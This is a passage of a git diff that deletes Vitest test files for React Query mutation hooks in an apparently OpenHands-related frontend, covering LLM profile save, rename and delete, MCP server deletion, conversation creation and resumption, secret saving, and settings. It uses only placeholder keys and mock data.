expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversations"], - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["start-tasks"], - }); - }); - }); -}); diff --git a/__tests__/hooks/mutation/use-delete-llm-profile.test.tsx b/__tests__/hooks/mutation/use-delete-llm-profile.test.tsx deleted file mode 100644 index 2be1623e0..000000000 --- a/__tests__/hooks/mutation/use-delete-llm-profile.test.tsx +++ /dev/null @@ -1,130 +0,0 @@ -import { describe, expect, it, vi, afterEach, beforeEach } from "vitest"; -import React from "react"; -import { renderHook, waitFor, act } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { useDeleteLlmProfile } from "#/hooks/mutation/use-delete-llm-profile"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - LLM_PROFILES_QUERY_KEYS, - SETTINGS_QUERY_KEYS, -} from "#/hooks/query/query-keys"; - -vi.mock("#/api/profiles-service/profiles-service.api"); -vi.mock("#/api/settings-service/settings-service.api"); - -describe("useDeleteLlmProfile", () => { - let queryClient: QueryClient; - let wrapper: ({ - children, - }: { - children: React.ReactNode; - }) => React.ReactElement; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - wrapper = ({ children }: { children: React.ReactNode }) => - React.createElement( - QueryClientProvider, - { client: queryClient }, - children, - ); - }); - - afterEach(() => { - queryClient.clear(); - vi.clearAllMocks(); - }); - - it("calls ProfilesService.deleteProfile with name", async () => { - vi.mocked(ProfilesService.deleteProfile).mockResolvedValue({ - name: "old-profile", - message: "Profile deleted", - }); - - const { result } = renderHook(() => useDeleteLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync("old-profile"); - }); - - expect(ProfilesService.deleteProfile).toHaveBeenCalledWith("old-profile"); - }); - - it("invalidates LLM_PROFILES_QUERY_KEYS.all on success", async () => { - vi.mocked(ProfilesService.deleteProfile).mockResolvedValue({ - name: "deleted-profile", - message: "Profile deleted", - }); - - queryClient.setQueryData(LLM_PROFILES_QUERY_KEYS.all, { - profiles: [ - { - name: "deleted-profile", - model: "gpt-4", - base_url: null, - api_key_set: true, - }, - ], - }); - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache"); - - const { result } = renderHook(() => useDeleteLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync("deleted-profile"); - }); - - // Verifies all three cache invalidations occur on success - expect(invalidateCacheSpy).toHaveBeenCalled(); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: SETTINGS_QUERY_KEYS.personal(), - }); - }); - - it("clears a deleted local title profile preference", async () => { - vi.mocked(ProfilesService.deleteProfile).mockResolvedValue({ - name: "Titles", - message: "Profile deleted", - }); - vi.mocked(SettingsService.getSettings).mockResolvedValue({ - title_llm_profile: "Titles", - } as never); - - const { result } = renderHook(() => useDeleteLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync("Titles"); - }); - - expect(SettingsService.saveSettings).toHaveBeenCalledWith({ - title_llm_profile: null, - }); - }); - - it("handles delete errors", async () => { - const error = new Error("Profile not found"); - vi.mocked(ProfilesService.deleteProfile).mockRejectedValue(error); - - const { result } = renderHook(() => useDeleteLlmProfile(), { wrapper }); - - await expect( - act(async () => { - await result.current.mutateAsync("nonexistent-profile"); - }), - ).rejects.toThrow("Profile not found"); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - }); -}); diff --git a/__tests__/hooks/mutation/use-delete-mcp-server.test.ts b/__tests__/hooks/mutation/use-delete-mcp-server.test.ts deleted file mode 100644 index 6c2ed5477..000000000 --- a/__tests__/hooks/mutation/use-delete-mcp-server.test.ts +++ /dev/null @@ -1,74 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import React from "react"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - __resetMcpHealthStoreForTests, - getMcpHealthSnapshot, - setMcpServerHealth, -} from "#/api/mcp-health/mcp-health-store"; -import type { MCPServerConfig } from "#/types/mcp-server"; -import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key"; - -const useSettingsMock = vi.fn(); -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); - -import { useDeleteMcpServer } from "#/hooks/mutation/use-delete-mcp-server"; - -const createWrapper = () => { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - function Wrapper({ children }: { children: React.ReactNode }) { - return React.createElement( - QueryClientProvider, - { client: queryClient }, - children, - ); - } - return Wrapper; -}; - -describe("useDeleteMcpServer - health reset", () => { - beforeEach(() => { - vi.clearAllMocks(); - __resetMcpHealthStoreForTests(); - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - }); - - it("drops the deleted server's health verdict", async () => { - // A later server can legitimately produce the same health key (e.g. a - // reinstall of the same catalog entry); it must start unchecked instead - // of inheriting the deleted server's verdict. - const target: MCPServerConfig = { - id: "shttp-0", - type: "shttp", - name: "custom", - url: "https://mcp.example.com/mcp", - }; - useSettingsMock.mockReturnValue({ - data: { - agent_settings: { - mcp_config: { custom: { url: target.url, transport: "http" } }, - }, - }, - }); - const key = getMcpServerHealthKey(target); - setMcpServerHealth(key, { - status: "healthy", - verification: "verified", - toolCount: 1, - checkedAt: 1, - }); - - const { result } = renderHook(() => useDeleteMcpServer(), { - wrapper: createWrapper(), - }); - await result.current.mutateAsync(target); - - await waitFor(() => expect(getMcpHealthSnapshot()[key]).toBeUndefined()); - }); -}); diff --git a/__tests__/hooks/mutation/use-new-conversation-command.test.tsx b/__tests__/hooks/mutation/use-new-conversation-command.test.tsx deleted file mode 100644 index bd5aa3283..000000000 --- a/__tests__/hooks/mutation/use-new-conversation-command.test.tsx +++ /dev/null @@ -1,281 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { useNewConversationCommand } from "#/hooks/mutation/use-new-conversation-command"; -import * as telemetry from "#/services/telemetry"; - -const mockNavigate = vi.fn(); - -vi.mock("#/context/navigation-context", () => ({ - useNavigation: () => ({ - currentPath: "/conversations/conv-123", - conversationId: "conv-123", - isNavigating: false, - navigate: mockNavigate, - }), -})); - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -const { mockToast } = vi.hoisted(() => { - const mockToast = Object.assign(vi.fn(), { - loading: vi.fn(), - dismiss: vi.fn(), - }); - return { mockToast }; -}); - -vi.mock("react-hot-toast", () => ({ - default: mockToast, -})); - -vi.mock("#/utils/custom-toast-handlers", () => ({ - displaySuccessToast: vi.fn(), - displayErrorToast: vi.fn(), - TOAST_OPTIONS: { position: "top-right" }, -})); - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => ({ - data: { email: "user@example.com", user_consents_to_analytics: true }, - }), -})); - -const mockConversation = { - id: "conv-123", - title: "Test Conversation", - selected_repository: null, - selected_branch: null, - git_provider: null, - sandbox_id: "sandbox-abc", - conversation_version: "V1" as const, -}; - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => ({ - data: mockConversation, - }), -})); - -function makeStartTask(overrides: Record = {}) { - return { - id: "task-789", - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: "new-conv-999", - agent_server_url: "http://agent-server.local", - request: { - initial_message: null, - processors: [], - llm_model: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default", - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - ...overrides, - }; -} - -describe("useNewConversationCommand", () => { - let queryClient: QueryClient; - let captureMock: ReturnType; - - beforeEach(() => { - vi.clearAllMocks(); - captureMock = vi - .spyOn(telemetry, "trackEvent") - .mockResolvedValue(undefined); - queryClient = new QueryClient({ - defaultOptions: { mutations: { retry: false } }, - }); - }); - - afterEach(() => { - captureMock.mockRestore(); - }); - - const wrapper = ({ children }: { children: React.ReactNode }) => ( - {children} - ); - - it("calls createConversation and navigates on success", async () => { - const readyTask = makeStartTask(); - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue(readyTask as never); - - const { result } = renderHook(() => useNewConversationCommand(), { - wrapper, - }); - - await result.current.mutateAsync(); - - await waitFor(() => { - expect(createSpy).toHaveBeenCalled(); - expect(mockNavigate).toHaveBeenCalledWith("/conversations/new-conv-999"); - }); - }); - - it("throws when the start task ends in ERROR", async () => { - const errorTask = makeStartTask({ - status: "ERROR", - detail: "Setup failed", - app_conversation_id: null, - }); - - vi.spyOn(AgentServerConversationService, "createConversation").mockResolvedValue( - errorTask as never, - ); - - const { result } = renderHook(() => useNewConversationCommand(), { - wrapper, - }); - - await expect(result.current.mutateAsync()).rejects.toThrow("Setup failed"); - }); - - it("navigates to /conversations/task-{id} for a cloud WORKING task without app_conversation_id", async () => { - const workingTask = makeStartTask({ - status: "WORKING", - detail: null, - app_conversation_id: null, - }); - - vi.spyOn(AgentServerConversationService, "createConversation").mockResolvedValue( - workingTask as never, - ); - - const { result } = renderHook(() => useNewConversationCommand(), { - wrapper, - }); - - await result.current.mutateAsync(); - - await waitFor(() => { - // Format matches OpenHands' cloud pattern: useTaskPolling unwraps - // `task-{uuid}` and polls until READY, then redirects. - expect(mockNavigate).toHaveBeenCalledWith("/conversations/task-task-789"); - }); - }); - - it("invalidates conversation list queries on success", async () => { - const readyTask = makeStartTask(); - - vi.spyOn(AgentServerConversationService, "createConversation").mockResolvedValue( - readyTask as never, - ); - - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - - const { result } = renderHook(() => useNewConversationCommand(), { - wrapper, - }); - - await result.current.mutateAsync(); - - await waitFor(() => { - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["user", "conversations"], - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["v1-batch-get-app-conversations"], - }); - }); - }); - - it("forwards the active conversation's sandbox_id so /new reuses the same runtime", async () => { - // Arrange - const readyTask = makeStartTask(); - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue(readyTask as never); - - // Act - const { result } = renderHook(() => useNewConversationCommand(), { - wrapper, - }); - await result.current.mutateAsync(); - - // Assert — sandbox_id is the 9th positional argument; parent_conversation_id - // and agent_type stay undefined because /new is NOT a sub-conversation. - await waitFor(() => { - expect(createSpy).toHaveBeenCalledWith( - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - undefined, - "sandbox-abc", - ); - }); - }); - - it("shows a loading toast and dismisses it on success", async () => { - const readyTask = makeStartTask(); - - vi.spyOn(AgentServerConversationService, "createConversation").mockResolvedValue( - readyTask as never, - ); - - const { result } = renderHook(() => useNewConversationCommand(), { - wrapper, - }); - - await result.current.mutateAsync(); - - await waitFor(() => { - expect(mockToast.loading).toHaveBeenCalledWith( - "CONVERSATION$CLEARING", - expect.objectContaining({ id: "clear-conversation" }), - ); - expect(mockToast.dismiss).toHaveBeenCalledWith("clear-conversation"); - }); - }); - - it("emits conversation_created on success with the /new no-context payload", async () => { - const readyTask = makeStartTask(); - vi.spyOn( - AgentServerConversationService, - "createConversation", - ).mockResolvedValue(readyTask as never); - - const { result } = renderHook(() => useNewConversationCommand(), { - wrapper, - }); - - await result.current.mutateAsync(); - - await waitFor(() => { - expect(captureMock).toHaveBeenCalledWith( - "conversation_created", - expect.objectContaining({ - conversation_id: "new-conv-999", - task_id: "task-789", - is_start_task: false, - has_repository: false, - has_workspace: false, - has_initial_query: false, - has_parent_conversation: false, - entry_point: "new_command", - }), - ); - }); - }); -}); diff --git a/__tests__/hooks/mutation/use-rename-llm-profile.test.tsx b/__tests__/hooks/mutation/use-rename-llm-profile.test.tsx deleted file mode 100644 index cc53d4b85..000000000 --- a/__tests__/hooks/mutation/use-rename-llm-profile.test.tsx +++ /dev/null @@ -1,196 +0,0 @@ -import { describe, expect, it, vi, afterEach, beforeEach } from "vitest"; -import React from "react"; -import { renderHook, waitFor, act } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { useRenameLlmProfile } from "#/hooks/mutation/use-rename-llm-profile"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - LLM_PROFILES_QUERY_KEYS, - SETTINGS_QUERY_KEYS, -} from "#/hooks/query/query-keys"; - -vi.mock("#/api/profiles-service/profiles-service.api"); -vi.mock("#/api/settings-service/settings-service.api"); - -describe("useRenameLlmProfile", () => { - let queryClient: QueryClient; - let wrapper: ({ - children, - }: { - children: React.ReactNode; - }) => React.ReactElement; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - wrapper = ({ children }: { children: React.ReactNode }) => - React.createElement( - QueryClientProvider, - { client: queryClient }, - children, - ); - }); - - afterEach(() => { - queryClient.clear(); - vi.clearAllMocks(); - }); - - it("calls ProfilesService.renameProfile with name and newName", async () => { - vi.mocked(ProfilesService.renameProfile).mockResolvedValue({ - name: "new-name", - message: "Profile renamed", - }); - - const { result } = renderHook(() => useRenameLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync({ - name: "old-name", - newName: "new-name", - }); - }); - - expect(ProfilesService.renameProfile).toHaveBeenCalledWith( - "old-name", - "new-name", - ); - }); - - it("invalidates LLM_PROFILES_QUERY_KEYS.all on success", async () => { - vi.mocked(ProfilesService.renameProfile).mockResolvedValue({ - name: "renamed-profile", - message: "Profile renamed", - }); - - queryClient.setQueryData(LLM_PROFILES_QUERY_KEYS.all, { - profiles: [ - { name: "old-name", model: "gpt-4", base_url: null, api_key_set: true }, - ], - }); - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - - const { result } = renderHook(() => useRenameLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync({ - name: "old-name", - newName: "renamed-profile", - }); - }); - - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - }); - - it("invalidates settings queries on success", async () => { - vi.mocked(ProfilesService.renameProfile).mockResolvedValue({ - name: "new-name", - message: "Profile renamed", - }); - - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - - const { result } = renderHook(() => useRenameLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync({ - name: "old-name", - newName: "new-name", - }); - }); - - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: SETTINGS_QUERY_KEYS.personal(), - }); - }); - - it("renames a selected local title profile preference", async () => { - vi.mocked(ProfilesService.renameProfile).mockResolvedValue({ - name: "Titles-v2", - message: "Profile renamed", - }); - vi.mocked(SettingsService.getSettings).mockResolvedValue({ - title_llm_profile: "Titles", - } as never); - - const { result } = renderHook(() => useRenameLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync({ - name: "Titles", - newName: "Titles-v2", - }); - }); - - expect(SettingsService.saveSettings).toHaveBeenCalledWith({ - title_llm_profile: "Titles-v2", - }); - }); - - it("handles rename errors (e.g., name conflict)", async () => { - const error = new Error("Profile name already exists"); - vi.mocked(ProfilesService.renameProfile).mockRejectedValue(error); - - const { result } = renderHook(() => useRenameLlmProfile(), { wrapper }); - - await expect( - act(async () => { - await result.current.mutateAsync({ - name: "old-name", - newName: "existing-name", - }); - }), - ).rejects.toThrow("Profile name already exists"); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - }); - - it("handles rename errors (e.g., profile not found)", async () => { - const error = new Error("Profile not found"); - vi.mocked(ProfilesService.renameProfile).mockRejectedValue(error); - - const { result } = renderHook(() => useRenameLlmProfile(), { wrapper }); - - await expect( - act(async () => { - await result.current.mutateAsync({ - name: "nonexistent", - newName: "new-name", - }); - }), - ).rejects.toThrow("Profile not found"); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - }); - - it("invalidates SettingsService cache on success", async () => { - vi.mocked(ProfilesService.renameProfile).mockResolvedValue({ - name: "new-name", - message: "Profile renamed", - }); - - const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache"); - - const { result } = renderHook(() => useRenameLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync({ - name: "old-name", - newName: "new-name", - }); - }); - - expect(invalidateCacheSpy).toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/mutation/use-resume-conversation.test.tsx b/__tests__/hooks/mutation/use-resume-conversation.test.tsx deleted file mode 100644 index af76faabd..000000000 --- a/__tests__/hooks/mutation/use-resume-conversation.test.tsx +++ /dev/null @@ -1,83 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { ConversationClient } from "@openhands/typescript-client/clients"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import React from "react"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { useResumeConversation } from "#/hooks/mutation/use-resume-conversation"; - -const { runConversationMock } = vi.hoisted(() => ({ - runConversationMock: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ConversationClient: vi.fn(function ConversationClientMock() { - return { runConversation: runConversationMock }; - }), -})); - -describe("useResumeConversation", () => { - let queryClient: QueryClient; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - vi.restoreAllMocks(); - runConversationMock.mockReset().mockResolvedValue({ success: true }); - vi.mocked(ConversationClient).mockClear(); - }); - - const wrapper = ({ children }: { children: React.ReactNode }) => ( - {children} - ); - - it("invalidates conversation queries on settled", async () => { - vi.spyOn( - AgentServerConversationService, - "batchGetAppConversations", - ).mockResolvedValue([ - { - id: "test-conv-id", - created_by_user_id: null, - conversation_url: "http://localhost:3000", - session_api_key: "test-key", - sandbox_id: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - title: "Test", - public: false, - execution_status: null, - trigger: null, - pr_number: [], - llm_model: null, - metrics: null, - sub_conversation_ids: [], - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - }, - ]); - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - - const { result } = renderHook(() => useResumeConversation(), { wrapper }); - - result.current.mutate({ conversationId: "test-conv-id" }); - - await waitFor(() => { - expect(result.current.isSuccess || result.current.isError).toBe(true); - }); - - const invalidateCalls = invalidateSpy.mock.calls.map((call) => call[0]); - const conversationInvalidation = invalidateCalls.find( - (call) => - call?.queryKey?.[0] === "user" && - call?.queryKey?.[1] === "conversation", - ); - - expect(conversationInvalidation).toBeDefined(); - }); -}); diff --git a/__tests__/hooks/mutation/use-save-fields-as-secrets.test.ts b/__tests__/hooks/mutation/use-save-fields-as-secrets.test.ts deleted file mode 100644 index 59671fb0c..000000000 --- a/__tests__/hooks/mutation/use-save-fields-as-secrets.test.ts +++ /dev/null @@ -1,178 +0,0 @@ -import React from "react"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { SecretsService } from "#/api/secrets-service"; -import { useSaveFieldsAsSecrets } from "#/hooks/mutation/use-save-fields-as-secrets"; -import type { MarketplaceField } from "@openhands/extensions/integrations"; -import { - displayErrorToast, - displaySuccessToast, -} from "#/utils/custom-toast-handlers"; - -// Replace both toast functions with vi.fn() instances so we can assert on them. -vi.mock("#/utils/custom-toast-handlers", () => ({ - displaySuccessToast: vi.fn(), - displayErrorToast: vi.fn(), -})); - -// Minimal field factory — the hook only needs `key` and `label`. -const f = (key: string, label = key): MarketplaceField => - ({ key, label }) as unknown as MarketplaceField; - -// The hook reads a QueryClient via useQueryClient(), so renderHook needs a -// provider. We hand back the client too so tests can spy on invalidateQueries. -let queryClient: QueryClient; -const createWrapper = () => { - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return ({ children }: { children: React.ReactNode }) => - React.createElement(QueryClientProvider, { client: queryClient }, children); -}; - -const renderSaveHook = () => - renderHook(() => useSaveFieldsAsSecrets(), { wrapper: createWrapper() }); - -describe("useSaveFieldsAsSecrets", () => { - beforeEach(() => { - vi.spyOn(SecretsService, "createSecret").mockResolvedValue(); - vi.mocked(displaySuccessToast).mockClear(); - vi.mocked(displayErrorToast).mockClear(); - }); - - afterEach(() => vi.clearAllMocks()); - - // ── early-return guard ────────────────────────────────────────────────────── - - it("does nothing when no fields are checked", () => { - const { result } = renderSaveHook(); - result.current([f("KEY")], { KEY: "val" }, { KEY: false }); - expect(SecretsService.createSecret).not.toHaveBeenCalled(); - }); - - it("skips a checked field whose value is an empty string", () => { - const { result } = renderSaveHook(); - result.current([f("KEY")], { KEY: "" }, { KEY: true }); - expect(SecretsService.createSecret).not.toHaveBeenCalled(); - }); - - it("skips a checked field whose value is whitespace-only", () => { - const { result } = renderSaveHook(); - result.current([f("KEY")], { KEY: " " }, { KEY: true }); - expect(SecretsService.createSecret).not.toHaveBeenCalled(); - }); - - // ── createSecret call arguments ──────────────────────────────────────────── - - it("calls createSecret with the trimmed value and field label as description", () => { - const { result } = renderSaveHook(); - result.current( - [f("API_KEY", "API Key")], - { API_KEY: " sk-secret " }, - { API_KEY: true }, - ); - expect(SecretsService.createSecret).toHaveBeenCalledWith( - "API_KEY", - "sk-secret", - "API Key", - ); - }); - - it("only calls createSecret for checked fields, skipping unchecked ones", () => { - const { result } = renderSaveHook(); - result.current( - [f("CHECKED"), f("SKIPPED")], - { CHECKED: "val", SKIPPED: "val" }, - { CHECKED: true, SKIPPED: false }, - ); - expect(SecretsService.createSecret).toHaveBeenCalledTimes(1); - expect(SecretsService.createSecret).toHaveBeenCalledWith( - "CHECKED", - "val", - "CHECKED", - ); - }); - - // ── Promise.allSettled behaviour ──────────────────────────────────────────── - - it("calls createSecret for every checked field even if one of them rejects", () => { - vi.spyOn(SecretsService, "createSecret") - .mockRejectedValueOnce(new Error("conflict")) - .mockResolvedValue(); - const { result } = renderSaveHook(); - result.current( - [f("A"), f("B")], - { A: "val-a", B: "val-b" }, - { A: true, B: true }, - ); - // Both are called synchronously inside the allSettled map. - expect(SecretsService.createSecret).toHaveBeenCalledTimes(2); - }); - - // ── toast behaviour ───────────────────────────────────────────────────────── - - it("shows only a success toast when all fields save successfully", async () => { - const { result } = renderSaveHook(); - result.current([f("KEY")], { KEY: "val" }, { KEY: true }); - await waitFor(() => - expect(vi.mocked(displaySuccessToast)).toHaveBeenCalledTimes(1), - ); - expect(vi.mocked(displayErrorToast)).not.toHaveBeenCalled(); - }); - - it("shows only an error toast when all fields fail to save", async () => { - vi.spyOn(SecretsService, "createSecret").mockRejectedValue( - new Error("fail"), - ); - const { result } = renderSaveHook(); - result.current([f("KEY")], { KEY: "val" }, { KEY: true }); - await waitFor(() => - expect(vi.mocked(displayErrorToast)).toHaveBeenCalledTimes(1), - ); - expect(vi.mocked(displaySuccessToast)).not.toHaveBeenCalled(); - }); - - it("shows both success and error toasts on partial failure", async () => { - vi.spyOn(SecretsService, "createSecret") - .mockResolvedValueOnce() - .mockRejectedValueOnce(new Error("fail")); - const { result } = renderSaveHook(); - result.current( - [f("OK_KEY"), f("FAIL_KEY")], - { OK_KEY: "val", FAIL_KEY: "val" }, - { OK_KEY: true, FAIL_KEY: true }, - ); - await waitFor(() => { - expect(vi.mocked(displaySuccessToast)).toHaveBeenCalledTimes(1); - expect(vi.mocked(displayErrorToast)).toHaveBeenCalledTimes(1); - }); - }); - - // ── cache invalidation ────────────────────────────────────────────────────── - - it("invalidates the secrets query caches after a successful save", async () => { - const { result } = renderSaveHook(); - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - result.current([f("KEY")], { KEY: "val" }, { KEY: true }); - await waitFor(() => { - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: ["secrets-search"], - }); - expect(invalidateSpy).toHaveBeenCalledWith({ queryKey: ["secrets"] }); - }); - }); - - it("does not invalidate the secrets query caches when every save fails", async () => { - vi.spyOn(SecretsService, "createSecret").mockRejectedValue( - new Error("fail"), - ); - const { result } = renderSaveHook(); - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - result.current([f("KEY")], { KEY: "val" }, { KEY: true }); - await waitFor(() => - expect(vi.mocked(displayErrorToast)).toHaveBeenCalledTimes(1), - ); - expect(invalidateSpy).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/mutation/use-save-llm-profile.test.tsx b/__tests__/hooks/mutation/use-save-llm-profile.test.tsx deleted file mode 100644 index 7ea91ab06..000000000 --- a/__tests__/hooks/mutation/use-save-llm-profile.test.tsx +++ /dev/null @@ -1,138 +0,0 @@ -import { describe, expect, it, vi, afterEach, beforeEach } from "vitest"; -import React from "react"; -import { renderHook, waitFor, act } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { useSaveLlmProfile } from "#/hooks/mutation/use-save-llm-profile"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { LLM_PROFILES_QUERY_KEYS, SETTINGS_QUERY_KEYS } from "#/hooks/query/query-keys"; - -vi.mock("#/api/profiles-service/profiles-service.api"); -vi.mock("#/api/settings-service/settings-service.api"); - -describe("useSaveLlmProfile", () => { - let queryClient: QueryClient; - let wrapper: ({ children }: { children: React.ReactNode }) => React.ReactElement; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - wrapper = ({ children }: { children: React.ReactNode }) => - React.createElement( - QueryClientProvider, - { client: queryClient }, - children, - ); - }); - - afterEach(() => { - queryClient.clear(); - vi.clearAllMocks(); - }); - - it("calls ProfilesService.saveProfile with name and request", async () => { - vi.mocked(ProfilesService.saveProfile).mockResolvedValue({ - name: "my-profile", - message: "Profile saved", - }); - - const { result } = renderHook(() => useSaveLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync({ - name: "my-profile", - request: { - llm: { - model: "openai/gpt-4", - api_key: "sk-xxx", - }, - }, - }); - }); - - expect(ProfilesService.saveProfile).toHaveBeenCalledWith("my-profile", { - llm: { - model: "openai/gpt-4", - api_key: "sk-xxx", - }, - }); - }); - - it("saves profile with include_secrets flag", async () => { - vi.mocked(ProfilesService.saveProfile).mockResolvedValue({ - name: "snapshot-profile", - message: "Profile saved", - }); - - const { result } = renderHook(() => useSaveLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync({ - name: "snapshot-profile", - request: { - llm: { model: "openai/gpt-4" }, - include_secrets: true, - }, - }); - }); - - expect(ProfilesService.saveProfile).toHaveBeenCalledWith("snapshot-profile", { - llm: { model: "openai/gpt-4" }, - include_secrets: true, - }); - }); - - it("invalidates all relevant caches on success", async () => { - vi.mocked(ProfilesService.saveProfile).mockResolvedValue({ - name: "test-profile", - message: "Profile saved", - }); - - // Pre-populate the profiles cache - queryClient.setQueryData(LLM_PROFILES_QUERY_KEYS.all, { profiles: [] }); - const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); - const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache"); - - const { result } = renderHook(() => useSaveLlmProfile(), { wrapper }); - - await act(async () => { - await result.current.mutateAsync({ - name: "test-profile", - request: { llm: { model: "openai/gpt-4" } }, - }); - }); - - // Verifies all three cache invalidations occur on success - expect(invalidateCacheSpy).toHaveBeenCalled(); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect(invalidateSpy).toHaveBeenCalledWith({ - queryKey: SETTINGS_QUERY_KEYS.personal(), - }); - }); - - it("handles save errors", async () => { - const error = new Error("Profile name already exists"); - vi.mocked(ProfilesService.saveProfile).mockRejectedValue(error); - - const { result } = renderHook(() => useSaveLlmProfile(), { wrapper }); - - await expect( - act(async () => { - await result.current.mutateAsync({ - name: "duplicate-name", - request: { llm: { model: "openai/gpt-4" } }, - }); - }), - ).rejects.toThrow("Profile name already exists"); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - }); -}); diff --git a/__tests__/hooks/mutation/use-save-settings.test.ts b/__tests__/hooks/mutation/use-save-settings.test.ts deleted file mode 100644 index 988a0d2bb..000000000 --- a/__tests__/hooks/mutation/use-save-settings.test.ts +++ /dev/null @@ -1,104 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import React from "react"; -import SettingsService from "#/api/settings-service/settings-service.api"; - -const trackMcpConfigUpdatedMock = vi.fn(); -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackMcpConfigUpdated: trackMcpConfigUpdatedMock, - }), -})); - -const useSettingsMock = vi.fn(); -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); - -import { useSaveSettings } from "#/hooks/mutation/use-save-settings"; - -const createWrapper = () => { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - return ({ children }: { children: React.ReactNode 